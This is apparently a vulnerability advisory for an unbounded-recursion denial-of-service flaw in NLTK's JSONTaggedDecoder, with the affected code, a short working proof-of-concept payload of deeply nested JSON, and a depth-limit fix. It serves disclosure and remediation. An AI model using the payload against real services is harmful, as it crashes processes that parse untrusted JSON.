CVE-2026-66393

### Summary `JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself recursively without any depth limit. A deeply nested JSON structure exceeding `sys.getrecursionlimit()` (default: 1000) will raise an unhandled `RecursionError`, crashing the Python process. ### Affected code File: `nltk/jsontags.py`, lines 47–52 ```python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj) ``` ### Proof of Concept ```python import sys, json from nltk.jsontags import JSONTaggedDecoder depth = sys.getrecursionlimit() + 50 # e.g. 1050 payload = '{"x":' * depth + "null" + "}" * depth # Raises RecursionError, crashing the process json.loads(payload, cls=JSONTaggedDecoder) ``` ### Impact Any code path that passes externally-supplied JSON to `JSONTaggedDecoder` is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. `nltk/data.py`). ### Suggested Fix Add a depth parameter with a hard limit: ```python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj) ```

NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.